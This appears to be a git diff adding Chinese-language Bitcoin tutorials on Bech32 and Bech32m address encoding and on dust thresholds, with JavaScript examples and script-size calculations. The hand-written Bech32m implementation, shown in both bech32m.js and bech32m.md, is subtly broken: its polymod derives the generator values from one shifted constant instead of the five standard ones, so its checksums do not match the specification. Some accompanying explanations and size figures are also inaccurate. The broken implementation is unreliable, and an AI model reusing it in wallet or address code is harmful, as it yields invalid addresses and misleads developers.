+\[ \text{HRP} + "1" + \text{数据编码} + \text{校验码} \]
+
+- **HRP（Human-readable part）：** 这部分是地址的前缀，用来指示地址所用的网络，例如比特币主网的`bc`和测试网的`tb`。
+- **数据编码：** 使用的是一种叫做Base32的变种编码，将数据转换成32个字符集中的字符。
+- **校验码：** 是一组校验码字符，用于保护整个地址不受随机错误的影响。
+
+Bech32是一种用于编码和解码比特币SegWit地址的格式，具体方法由[BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki)定义。编码和解码过程涉及多个步骤，包括数据的处理、转换以及校验。
+
+在实际项目中可以使用JavaScript的常用库bech32实现的Bech32编码和解码。  
+**Bech32编码示例**
+
+```js
+const bech32 = require('bech32');
+
+function encodeBech32(hrp, data) {
+  const words = bech32.toWords(Buffer.from(data));
+  return bech32.encode(hrp, words);
+}
+
+// 示例使用
+let hrp = 'bc';
+let data = '00112233445566778899aabbccddeeff'; // 假设这是要编码的数据
+let encoded = encodeBech32(hrp, data);
+console.log('Encoded Bech32:', encoded);
+```
+
+**Bech32解码示例**
+
+```js
+function decodeBech32(address) {
+  let decoded = bech32.decode(address);
+  decoded.data = Buffer.from(bech32.fromWords(decoded.words)).toString('hex');
+  return decoded;
+}
+
+// 使用之前编码的地址进行解码
+let decoded = decodeBech32(encoded);
+console.log('Decoded Bech32:', decoded);
+```
+
+### Bech32编码过程
+
+编码过程涉及以下步骤：
+
+1. **确定人类可读部分（HRP）和数据部分：**
+
+   - HRP表示网络，比如比特币主网的`bc`，测试网的`tb`。
+   - 数据部分包含经过编码的公钥或脚本哈希。
+
+2. **将数据部分从8位字节转换为5位数组：**
+
+   - Bech32使用Base32编码，这不同于传统的Base32。数据需要从其原始的8位字节形式（如在二进制文件中）转换为5位字节的数组。这种转换减少了数据的比特长度，并允许整个地址适应QR码等格式。
+
+3. **计算校验码：**
+
+   - 使用`PolyMod`算法计算出一个校验码，该算法可以提供错误检测功能。校验码计算依赖于HRP和转换后的数据。
+   - 校验码有助于保护整个地址不受随机错误的影响。
+
+4. **组合最终的Bech32地址：**
+   - 最终的Bech32地址由三部分组成：HRP、分隔符（`1`）、编码后的数据和校验码。
+   - 示例：`bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4`
+
+### Bech32解码过程
+
+解码过程涉及以下步骤：
+
+1. **验证地址的校验码：**
+
+   - 使用相同的`PolyMod`算法验证地址中的校验码是否正确。如果校验失败，则地址有错误。
+
+2. **分离HRP和编码数据：**
+
+   - 从地址中分离出HRP和编码后的数据部分。这两部分由分隔符`1`分开。
+
+3. **从5位数组转换回8位字节：**
+
+   - 将从Bech32地址中提取的5位数组数据转换回原始的8位字节形式。这通常涉及二进制数据的重新分组。
+
+4. **解析数据部分以获取原始的哈希或密钥信息：**
+   - 解码后的数据通常是某种形式的哈希值或公钥信息，这取决于具体的应用场景（如P2WPKH或P2WSH）。
+
+`PolyMod`是一种特别设计用于Bech32编码系统中的多项式模运算算法。在Bech32地址格式中，`PolyMod`算法用于生成一个校验码，该校验码具有高错误检测能力，能够帮助确认地址在传输或书写过程中是否被错误修改。此算法是Bech32提案（BIP 173）的核心部分，对于保证地址的完整性和准确性至关重要。
+
+### PolyMod算法的作用
+
+在Bech32中，`PolyMod`算法的主要作用是计算一个校验码，这个校验码能够：
+
+- 检测到任何单一的错误。
+- 检测到任何相邻字符的交换。
+- 检测到最多四个错误的错误组合。
+
+### PolyMod算法的实现步骤
+
+`PolyMod`算法的计算可以分为以下几个步骤：
+
+1. **初始化**：设置一个初始变量`c`为1。
+
+2. **处理HRP**：对于HRP（人类可读部分）中的每个字符，进行以下操作：
+
+   - 将`c`向右移动5位。
+   - 将字符的值与`c`进行异或（XOR）运算。
+   - 对`c`进行一系列的模2多项式运算，通常这涉及到与几个固定的常数进行XOR运算，这些常数由Bech32规范定义。
+
+3. **处理数据部分**：类似地处理数据部分中的每个5位值，包括：
+
+   - 将`c`向右移动5位。
+   - 将数据值与`c`进行异或运算。
+   - 对`c`进行类似上述的模2多项式运算。
+
+4. **生成校验码**：完成所有字符的处理后，将`c`与一个常数进行XOR运算，得到最终的校验码。这一步确保了校验码能够有效地反映整个地址的完整性。
+
+** 示例代码 **
+
+```js
+function polymod(values) {
+  let generator = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
+  let chk = 1;
+  for (let value of values) {
+    let top = chk >> 25;
+    chk = ((chk & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        chk ^= generator[i];
+      }
+    }
+  }
+  return chk;
+}
+
+function hrpExpand(hrp) {
+  let ret = [];
+  for (let p = 0; p < hrp.length; p++) {
+    ret.push(hrp.charCodeAt(p) >> 5);
+  }
+  ret.push(0);
+  for (let p = 0; p < hrp.length; p++) {
+    ret.push(hrp.charCodeAt(p) & 31);
+  }
+  return ret;
+}
+
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 1;
+  let checksum = [];
+  for (let i = 0; i < 6; i++) {
+    checksum.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return checksum;
+}
+
+// Example usage
+let hrp = 'bc';
+let data = [2, 3, 4, 5, 6]; // Example data part (this should be your actual converted data)
+let checksum = createChecksum(hrp, data);
+console.log('Checksum:', checksum);
+```
+
+### 数学原理
+
+`PolyMod`算法本质上是一个使用特定生成多项式的循环冗余校验（CRC）算法。这个生成多项式是经过选择的，能够最大化常见错误模式的检测能力，例如拼写错误、字符遗漏、错误插入等。
+
+### 使用场景
+
+Bech32地址主要用于比特币的SegWit交易，其中包括了P2WPKH（Pay to Witness Public Key Hash）和P2WSH（Pay to Witness Script Hash）类型的地址。这些地址类型通过减少交易大小来降低交易费用，同时提高交易的隐私性和效率。
+
+### 优点
+
+- **更高的错误检测能力：** Bech32的设计提供了强大的错误检测和纠正能力。
+- **用户友好：** 地址全小写，易于阅读和抄写。
+- **效率与兼容性：** 地址长度更短，适用于QR码等多种场景。
+
+Bech32编码为比特币地址提供了一个更加安全和用户友好的格式，是比特币网络中SegWit技术的一个重要组成部分。
diff --git a/btc/Basic/tools/bech32m.js b/btc/Basic/tools/bech32m.js
new file mode 100644
index 000000000..be7fd7e5e
--- /dev/null
+++ b/btc/Basic/tools/bech32m.js
@@ -0,0 +1,121 @@
+const CHARSET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
+
+// 将字符转换为数值
+function charToValue(char) {
+  const index = CHARSET.indexOf(char);
+  if (index === -1) {
+    throw new Error('Invalid character');
+  }
+  return index;
+}
+
+// 将数值转换为字符
+function valueToChar(value) {
+  return CHARSET[value];
+}
+
+// 多项式模数计算 Bech32 校验和
+function polymod(values) {
+  let checksum = 1;
+  for (let value of values) {
+    const top = checksum >> 25;
+    checksum = ((checksum & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        checksum ^= (0x3b6a57b2 >> (5 * i)) & 0x1ffffff;
+      }
+    }
+  }
+  return checksum;
+}
+
+// 扩展人类可读部分（HRP, Human-Readable Part）以帮助计算校验和
+function hrpExpand(hrp) {
+  const ret = [];
+  // 先将每个字符转换为其ASCII码除以32的余数
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) >> 5);
+  }
+  // 添加分隔符
+  ret.push(0);
+  // 再将每个字符转换为其ASCII码的低5位
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) & 31);
+  }
+  return ret;
+}
+
+// 计算校验和的最终值（Bech32m）
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 0x2bc830a3; // Bech32m 标识多项式
+  let result = [];
+  for (let i = 0; i < 6; ++i) {
+    result.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return result;
+}
+
+// 验证校验和
+function verifyChecksum(hrp, data) {
+  const expandedHrp = hrpExpand(hrp);
+  const values = expandedHrp.concat(data);
+  return polymod(values) === 0x2bc830a3; // 对于 Bech32, 有效校验和会返回1, 对于 Bech32m 需要验证不同的常量
+}
+
+function convertBits(data, fromBits, toBits, pad = true) {
+  let acc = 0;
+  let bits = 0;
+  const ret = [];
+  const maxv = (1 << toBits) - 1;
+  for (let i = 0; i < data.length; ++i) {
+    let value = data[i];
+    if (value < 0 || value >> fromBits !== 0) {
+      return null;
+    }
+    acc = (acc << fromBits) | value;
+    bits += fromBits;
+    while (bits >= toBits) {
+      bits -= toBits;
+      ret.push((acc >> bits) & maxv);
+    }
+  }
+  if (pad) {
+    if (bits > 0) {
+      ret.push((acc << (toBits - bits)) & maxv);
+    }
+  } else if (bits >= fromBits || (acc << (toBits - bits)) & maxv) {
+    return null;
+  }
+  return ret;
+}
+
+function encodeBech32m(hrp, data) {
+  const combined = data.concat(createChecksum(hrp, data));
+  let result = hrp + '1';
+  for (let datum of combined) {
+    result += valueToChar(datum);
+  }
+  return result;
+}
+
+function decodeBech32m(bech32mStr) {
+  const pos = bech32mStr.lastIndexOf('1');
+  const hrp = bech32mStr.slice(0, pos);
+  const data = [];
+  for (let i = pos + 1; i < bech32mStr.length; ++i) {
+    data.push(charToValue(bech32mStr[i]));
+  }
+  if (!verifyChecksum(hrp, data)) {
+    throw new Error('Invalid checksum');
+  }
+  return { hrp, data: data.slice(0, data.length - 6) };
+}
+
+const hrp = 'bc';
+const data = [15, 2, 20, 3, 5, 18]; // 随机示例数据
+const encoded = encodeBech32m(hrp, data);
+console.log('Encoded:', encoded);
+
+const decoded = decodeBech32m(encoded);
+console.log('Decoded:', decoded);
diff --git a/btc/Basic/tools/bech32m.md b/btc/Basic/tools/bech32m.md
new file mode 100644
index 000000000..7962fb6e9
--- /dev/null
+++ b/btc/Basic/tools/bech32m.md
@@ -0,0 +1,325 @@
+# Bech32m
+
+`Bech32m` 是一种新的编码格式，用于比特币地址。它是 `Bech32` 格式的修改版本，主要用于支持 SegWit v1+ 的比特币地址（例如 Taproot 地址）。`Bech32m` 是为了解决原始 `Bech32` 编码中发现的一个错误而被提出和实现的。
+
+## 简介
+
+### 背景
+
+`Bech32` 格式最初是在 [BIP 173](https://github.com/bitcoin/bips/blob/master/bip-0173.mediawiki) 中提出的，用于编码 SegWit（隔离见证）地址，这种格式的地址以 `bc1` 开头。然而，当 `Bech32` 用于新的 SegWit 版本时（即版本1及以上），由于错误检测机制存在问题，导致部分无效地址不会被正确地检测出来。
+
+### Bech32m 的改进
+
+为了解决这个问题，[BIP 350](https://github.com/bitcoin/bips/blob/master/bip-0350.mediawiki) 提出了 `Bech32m`，这是一个修改后的 `Bech32` 格式。它引入了一个新的校验和算法，提高了错误检测的能力，特别是适用于 SegWit v1 及更高版本的地址。这确保了编码的健壮性和安全性，尤其是在处理高版本的 SegWit 地址时。
+
+### Bech32 与 Bech32m 的区别
+
+主要区别在于校验和的计算方式。`Bech32` 使用的是一个固定的常数，而 `Bech32m` 使用了一个不同的常数来计算校验和。这一改变使得 `Bech32m` 能够更有效地捕捉到一些特定的错误，这些错误在原始的 `Bech32` 格式中可能无法检测到。
+
+| 特性                 | Bech32m                      | Bech32                           | Base58                         |
+| -------------------- | ---------------------------- | -------------------------------- | ------------------------------ |
+| **描述**             | 改进的 SegWit 地址格式       | SegWit 地址格式                  | 传统的比特币地址格式           |
+| **BIP**              | BIP 350                      | BIP 173                          | 无特定BIP，但参考 BIP 13/16    |
+| **错误检测**         | 改进的错误检测能力           | 强错误检测能力                   | 较弱的错误检测能力             |
+| **字符集**           | 32字符集，不包括易混淆字符   | 32字符集，不包括易混淆字符       | 58字符集                       |
+| **地址前缀**         | `bc1p`                       | `bc1`                            | `1` 或 `3`                     |
+| **用途**             | 支持 SegWit v1+ (如 Taproot) | 支持 SegWit v0 (P2WPKH 和 P2WSH) | 非 SegWit 和 SegWit P2SH       |
+| **校验和算法**       | 修改的贝奇校验和算法         | 贝奇校验和算法                   | Base58Check                    |
+| **可读性和可扫描性** | 同 Bech32                    | 更优的可读性和较低的打字错误率   | 较低的可读性和较高的打字错误率 |
+| **推广程度**         | Taproot更新后推广            | SegWit 地址的标准格式            | 比特币早期广泛使用             |
+
+### 格式和使用
+
+- **格式**：`Bech32m` 地址的格式与 `Bech32` 相似，地址以 `bc1` 开头，随后是一个版本指示符，然后是编码的数据。
+- **使用**：自从 Bitcoin Core 0.21.1 版本开始支持 `Bech32m` 格式后，它被用于 Taproot 地址（即以 `bc1p` 开头的地址）。
+
+## 编解码
+
+在 JavaScript 中，使用 `bech32` 库来处理 `Bech32m` 的编码和解码同样非常直接。首先，你需要安装 `bech32` 库，它支持在 Node.js 环境中执行 `Bech32` 和 `Bech32m` 相关操作。
+
+### 安装 `bech32` 库
+
+在你的 Node.js 项目中，你可以通过 npm 或 yarn 来安装这个库：
+
+```bash
+npm install bech32
+# 或者
+yarn add bech32
+```
+
+### 编码示例
+
+下面是如何将一组数据编码为 `Bech32m` 格式的示例：
+
+```javascript
+const bech32 = require('bech32');
+
+function encodeBech32m(data, hrp = 'bc') {
+  // 将数据从8位字节数组转换为5位数组
+  const words = bech32.toWords(Buffer.from(data));
+
+  // 使用 bech32m 规范进行编码
+  return bech32.encode(hrp, words, bech32.encodings.BECH32M);
+}
+
+// 示例数据
+const data = [0x01, 0x02, 0x03, 0x04, 0x05];
+
+// 编码
+const encoded = encodeBech32m(data);
+console.log('Encoded Bech32m:', encoded);
+```
+
+### 解码示例
+
+接下来是如何解码 `Bech32m` 格式的数据：
+
+```javascript
+function decodeBech32m(bech32mStr) {
+  const decoded = bech32.decode(bech32mStr, bech32.encodings.BECH32M);
+
+  // 将5位数组转换回8位字节
+  const bytes = Buffer.from(bech32.fromWords(decoded.words));
+
+  return {
+    hrp: decoded.prefix,
+    data: bytes,
+  };
+}
+
+// 使用上面的编码结果进行解码
+const decoded = decodeBech32m(encoded);
+console.log('Decoded data:', decoded.data);
+```
+
+## 编解码步骤
+
+为了更深入理解 `Bech32m` 的编解码过程，让我们详细探讨其背后的数学和逻辑步骤。这种编码方式旨在提供更强的错误检测能力，并针对地址等用途进行优化。
+
+### 核心组件和步骤
+
+`Bech32m` 编解码涉及以下核心组件：
+
+1. **人类可读部分 (HRP)**：明确标识相关数据或网络的简短字符序列。
+2. **数据部分**：包括实际有效载荷和错误检测代码。
+3. **校验和算法**：生成和验证整个字符串的完整性。
+
+### 编码过程
+
+#### 1. 数据准备
+
+将需要编码的数据（如公钥哈希）转换成一系列5位的数值，这是因为 `Bech32m` 的字符集能够表示从0到31的值，相比于完整的8位二进制表示，这种方式允许数据更有效地匹配到字符集。
+
+**转换方法**：使用转换函数（如 `toWords`），将每个字节按位重新组合，从8位分组转换成5位分组。
+
+#### 2. 计算校验和
+
+`Bech32m` 使用一种多项式校验和算法，以确保传输的数据在传播过程中没有发生错误。这一算法基于BCH码，具体步骤如下：
+
+- **多项式定义**：使用特定的生成多项式进行计算，该多项式在设计时就考虑了捕获常见传输错误的需求。
+- **校验和的生成**：将HRP和数据部分一起，通过多项式算法生成一个32位的校验和。
+
+#### 3. 结合数据
+
+将转换后的数据与校验和结合，准备进行字符映射。
+
+#### 4. 字符映射
+
+使用 `Bech32m` 指定的字符集将数值转换为对应的字符，生成最终的编码字符串。字符集是一组32个字符，每个字符对应一个从0到31的值。
+
+### 解码过程
+
+解码是编码的逆过程，主要包括以下步骤：
+
+#### 1. 分离和验证
+
+将输入的 `Bech32m` 字符串分解为HRP、数据部分和校验和。验证校验和以确认数据在传输过程中未被篡改或错误输入。
+
+#### 2. 字符到数值的映射
+
+将接收到的字符序列映射回相应的5位数值序列。
+
+#### 3. 数据恢复
+
+使用相同的位转换逻辑（反向操作 `fromWords`），将5位数值序列还原为原始的8位字节序列。
+
+#### 4. 最终输出
+
+提取数据，剔除校验和，返回原始数据和HRP。
+
+## 拆解实现
+
+### 1. 基础组件
+
+首先，我们需要实现一些基础函数，包括多项式校验和计算和数据转换。
+
+#### 多项式校验和
+
+`Bech32m` 使用的多项式为 `x^5 + x^4 + x^3 + x^2 + 1`，我们需要一个函数来计算校验和：
+
+```javascript
+const CHARSET = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
+
+// 将字符转换为数值
+function charToValue(char) {
+  const index = CHARSET.indexOf(char);
+  if (index === -1) {
+    throw new Error('Invalid character');
+  }
+  return index;
+}
+
+// 将数值转换为字符
+function valueToChar(value) {
+  return CHARSET[value];
+}
+
+// 多项式模数计算 Bech32 校验和
+function polymod(values) {
+  let checksum = 1;
+  for (let value of values) {
+    const top = checksum >> 25;
+    checksum = ((checksum & 0x1ffffff) << 5) ^ value;
+    for (let i = 0; i < 5; i++) {
+      if ((top >> i) & 1) {
+        checksum ^= (0x3b6a57b2 >> (5 * i)) & 0x1ffffff;
+      }
+    }
+  }
+  return checksum;
+}
+
+// 扩展人类可读部分（HRP, Human-Readable Part）以帮助计算校验和
+function hrpExpand(hrp) {
+  const ret = [];
+  // 先将每个字符转换为其ASCII码除以32的余数
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) >> 5);
+  }
+  // 添加分隔符
+  ret.push(0);
+  // 再将每个字符转换为其ASCII码的低5位
+  for (let i = 0; i < hrp.length; i++) {
+    ret.push(hrp.charCodeAt(i) & 31);
+  }
+  return ret;
+}
+
+// 计算校验和的最终值（Bech32m）
+function createChecksum(hrp, data) {
+  const values = hrpExpand(hrp).concat(data).concat([0, 0, 0, 0, 0, 0]);
+  const polymodValue = polymod(values) ^ 0x2bc830a3; // Bech32m 标识多项式
+  let result = [];
+  for (let i = 0; i < 6; ++i) {
+    result.push((polymodValue >> (5 * (5 - i))) & 31);
+  }
+  return result;
+}
+
+// 验证校验和
+function verifyChecksum(hrp, data) {
+  const expandedHrp = hrpExpand(hrp);
+  const values = expandedHrp.concat(data);
+  return polymod(values) === 0x2bc830a3; // 对于 Bech32, 有效校验和会返回1, 对于 Bech32m 需要验证不同的常量
+}
+```
+
+#### 数据转换
+
+使用5比特群（bits）的数据表示方式进行转换：
+
+```javascript
+function convertBits(data, fromBits, toBits, pad = true) {
+  let acc = 0;
+  let bits = 0;
+  const ret = [];
+  const maxv = (1 << toBits) - 1;
+  for (let i = 0; i < data.length; ++i) {
+    let value = data[i];
+    if (value < 0 || value >> fromBits !== 0) {
+      return null;
+    }
+    acc = (acc << fromBits) | value;
+    bits += fromBits;
+    while (bits >= toBits) {
+      bits -= toBits;
+      ret.push((acc >> bits) & maxv);
+    }
+  }
+  if (pad) {
+    if (bits > 0) {
+      ret.push((acc << (toBits - bits)) & maxv);
+    }
+  } else if (bits >= fromBits || (acc << (toBits - bits)) & maxv) {
+    return null;
+  }
+  return ret;
+}
+```
+
+### 2. 编码和解码实现
+
+接下来，使用上述基础组件实现编码和解码函数：
+
+#### 编码函数
+
+```javascript
+function encodeBech32m(hrp, data) {
+  const combined = data.concat(createChecksum(hrp, data));
+  let result = hrp + '1';
+  for (let datum of combined) {
+    result += valueToChar(datum);
+  }
+  return result;
+}
+```
+
+#### 解码函数
+
+```javascript
+function decodeBech32m(bech32mStr) {
+  const pos = bech32mStr.lastIndexOf('1');
+  const hrp = bech32mStr.slice(0, pos);
+  const data = [];
+  for (let i = pos + 1; i < bech32mStr.length; ++i) {
+    data.push(charToValue(bech32mStr[i]));
+  }
+  if (!verifyChecksum(hrp, data)) {
+    throw new Error('Invalid checksum');
+  }
+  return { hrp, data: data.slice(0, data.length - 6) };
+}
+```
+
+### 3. 示例使用
+
+```javascript
+const hrp = 'bc';
+const data = [15, 2, 20, 3, 5, 18]; // 随机示例数据
+const encoded = encodeBech32m(hrp, data);
+console.log('Encoded:', encoded);
+
+const decoded = decodeBech32m(encoded);
+console.log('Decoded:', decoded);
+```
+
+这种方式将手动实现 `Bech32m` 编解码过程，展示了如何从基本原理开始构建此功能。
+
+## 在BTC中的应用
+
+#### SegWit 地址支持
+
+- **SegWit v0 地址**：使用 `Bech32` 编码，这些地址以 `bc1q` 开头。
+- **SegWit v1+ 地址（包括 Taproot）**：使用 `Bech32m` 编码，这些地址以 `bc1p` 开头。
+
+#### 优点
+
+1. **更低的交易费用**：SegWit 地址允许比特币交易以更低的费用进行，因为它们更有效地利用区块空间。
+2. **增强的错误检测能力**：`Bech32m` 改进了校验和算法，提供了更强的错误检测能力，减少了地址输入错误的风险。
+3. **更好的用户体验**：地址全小写，易于手工抄写和阅读，减少了错误输入的机会。
+
+#### Taproot 与 `Bech32m`
+
+Taproot 是比特币的一个重要升级，它引入了 Schnorr 签名和 Merklized Abstract Syntax Trees (MAST)，增强了隐私、扩展性和效率。`Bech32m` 是支持 Taproot 地址的推荐编码方式，因为 Taproot 主要使用 SegWit v1。这种新的地址格式使得利用 Taproot 所提供的所有优势变得更加高效和安全。
+
+`Bech32m` 格式的引入是比特币协议持续进化的一部分，它不仅提高了地址的错误校验能力，还通过支持如 Taproot 这样的先进特性，推动了整个网络向前发展。对于用户和开发者而言，了解并适应这种新的地址格式是非常重要的，它将帮助他们最大化比特币的潜力。
diff --git a/btc/Basic/tools/dust.md b/btc/Basic/tools/dust.md
new file mode 100644
index 000000000..b9cda55ea
--- /dev/null
+++ b/btc/Basic/tools/dust.md
@@ -0,0 +1,216 @@
+在比特币网络中，“dust” 或 “尘埃交易”指的是非常小的比特币金额，其大小甚至不足以支付发送这笔金额所需的交易费。因为每笔比特币交易都需要支付矿工费以保证交易被网络确认，如果交易中的金额太小，不足以覆盖这笔费用，那么这笔金额实际上就变得无法使用。
+
+# Dust 定义
+
+参考bitcoin中的[定义](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L26-L63)
+
+> "Dust" is defined in terms of dustRelayFee,  
+>  which has units satoshis-per-kilobyte.  
+>  If you'd pay more in fees than the value of the output  
+>  to spend something, then we consider it dust.  
+>  A typical spendable non-segwit txout is 34 bytes big, and will  
+>  need a CTxIn of at least 148 bytes to spend:  
+>  so dust is a spendable txout less than  
+>  182*dustRelayFee/1000 (in satoshis).  
+>  546 satoshis at the default rate of 3000 sat/kvB.  
+>  A typical spendable segwit P2WPKH txout is 31 bytes big, and will  
+>  need a CTxIn of at least 67 bytes to spend:  
+>  so dust is a spendable txout less than  
+>  98*dustRelayFee/1000 (in satoshis).  
+>  294 satoshis at the default rate of 3000 sat/kvB
+
+# 交易结构
+
+![transaction](./images/transaction.png)
+
+# 常用地址的计算
+
+## P2PKH - 546
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 25 = 34
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共25字节
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+OP_DUP // 复制栈顶的元素
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+OP_EQUALVERIFY // 比较栈顶元素
+OP_CHECKSIG // 验证数字签名
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + ScriptSig Size + ScriptSig + Sequence = 32 + 4 + 1 + 107 + 4 = 148
+```
+
+#### ScriptSig
+
+```js
+// 模版 共107字节
+<Singature> <Public Key>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (34 + 148) * 3 = 546
+```
+
+## P2SH-P2PKH - 540 1%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 23 = 32
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共23字节
+OP_HASH160 <scriptHash> OP_EQUAL
+其中
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 脚本哈希
+OP_EQUAL // 比较栈顶两个元素相等
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + ScriptSig Size + ScriptSig + Sequenc = 32 + 4 + 1 + 107 + 4 = 148
+```
+
+#### ScriptSig
+
+```js
+// 模版 共107字节
+<Singature> <Public Key> <redeemScript>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (32 + 148) * 3 = 540
+```
+
+## P2WPKH - 294 46%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 22 = 31
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共22字节
+OP_0 <pubKeyHash>
+
+OP_0  // 表示版本号，对于P2WPKH是0
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + Sequence + Witness/4 = 32 + 4 + 4 + 108/4 = 67
+```
+
+#### ScriptSig
+
+```
+// 模版 共107字节
+<Singature> <Public Key>
+
+02  // 见证数据的数量
+48  // 第一个见证数据的长度72字节
+3045022100a5eec95c65d2dd679e8fdcc10668d5d51446f24d1557859cb543e570201257c6022011df04f803a08c97de213ddf211ad193045ff25e59857324a28656de1961351c01  // 签名数据
+21  // 第二个见证数据的长度33字节
+0295f97f41d0d523bddf39e77e16cc0dda2e56b9bd9fdea10133656635b2c28a39  // 压缩公钥
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (31 + 67) * 3 = 294
+```
+
+## P2TR(key path) - 300 26.7%⬇️
+
+### Output
+
+```js
+Size = Amout + ScriptPubKey Size + ScriptPubKey = 8 + 1 + 34 = 43
+```
+
+#### ScriptPubKey
+
+```js
+// 模版 共22字节
+OP_1 <x-only-pubkey>
+
+OP_1 // 表示版本号，对于P2TR是1
+OP_PUSHBYTES_32 // 推送32字节到栈顶
+2c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469 // tweaked-public-key
+```
+
+### Input
+
+```js
+Size = TXID + VOUT + Sequence + Witness/4 = 32 + 4 + 4 + 67/4 = 57
+```
+
+#### ScriptSig
+
+```js
+// 模版 共67字节
+[signature] [script] [control block]
+
+01  // Witness 元素的个数
+40  // schnorr签名长度
+743bbb3df4e95df5e70c2a3e72dd9d05933a018ad1bbd4b700841824ed18bebbc54d1b4d03b252aaa5c373390c68ba119fdf70e0bab71694a4db0da3fe8fefcc  // schnorr签名
+00  // 签名类型
+```
+
+### DUST
+
+```js
+dust = (input + output) * feeRate = (43 + 57) * 3 = 300
+```
+
+# 主流库的实现
+
+## Bitcoin
+
+已经添加dust的计算[GetDustThreshold](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L26-L63)  
+同时在[IsStandardTx](https://github.com/bitcoin/bitcoin/blob/160d23677ad799cf9b493eaa923b2ac080c3fb8e/src/policy/policy.cpp#L70-L92)中会把包含小于dust的输出交易置为异常交易
+
+## Bitcoinjs
+
+Bitcoinjs 将会在7.0.0中添加[dustAmountFromOutputScript](https://github.com/bitcoinjs/bitcoinjs-lib/pull/2010)的计算，不过计算逻辑只会通过是否是Witness返回546或294
diff --git a/btc/Basic/tools/images/transaction.png b/btc/Basic/tools/images/transaction.png
new file mode 100644
index 000000000..f1f8d4a74
Binary files /dev/null and b/btc/Basic/tools/images/transaction.png differ
diff --git a/btc/Basic/wallet/README.md b/btc/Basic/wallet/README.md
new file mode 100644
index 000000000..9a3ccb82d
--- /dev/null
+++ b/btc/Basic/wallet/README.md
@@ -0,0 +1,38 @@
+# 比特币地址生成脚本
+这个项目包含一个常见的 JavaScript 脚本，用于生成不同类型的比特币地址，包括 Legacy、Nested Segwit、Native Segwit 和 Taproot 地址。它使用 bitcoinjs-lib 库和 ecpair 以及 tiny-secp256k1 模块来创建地址。
+
+# 功能
+生成四种类型的比特币地址：
+- Legacy (P2PKH)
+- Nested Segwit (P2SH-P2WPKH)
+- Native Segwit (P2WPKH)
+- Taproot (P2TR)
+
+# 环境设置
+安装 Node.js: 确保您的系统上安装了 Node.js。可以在 Node.js 官网下载并安装。
+
+安装依赖: 项目依赖于 bitcoinjs-lib、ecpair 和 tiny-secp256k1。可以通过运行以下命令来安装这些依赖项：
+
+```js
+npm install bitcoinjs-lib ecpair tiny-secp256k1
+```
+# 运行脚本
+在安装所有依赖后，您可以运行脚本来生成比特币地址。使用以下命令来运行脚本：
+
+```js
+node <脚本文件名>.js
+```
+替换 <脚本文件名> 为您的 JavaScript 文件名。
+
+# 输出
+脚本将在控制台中输出以下格式的地址：
+
+```js
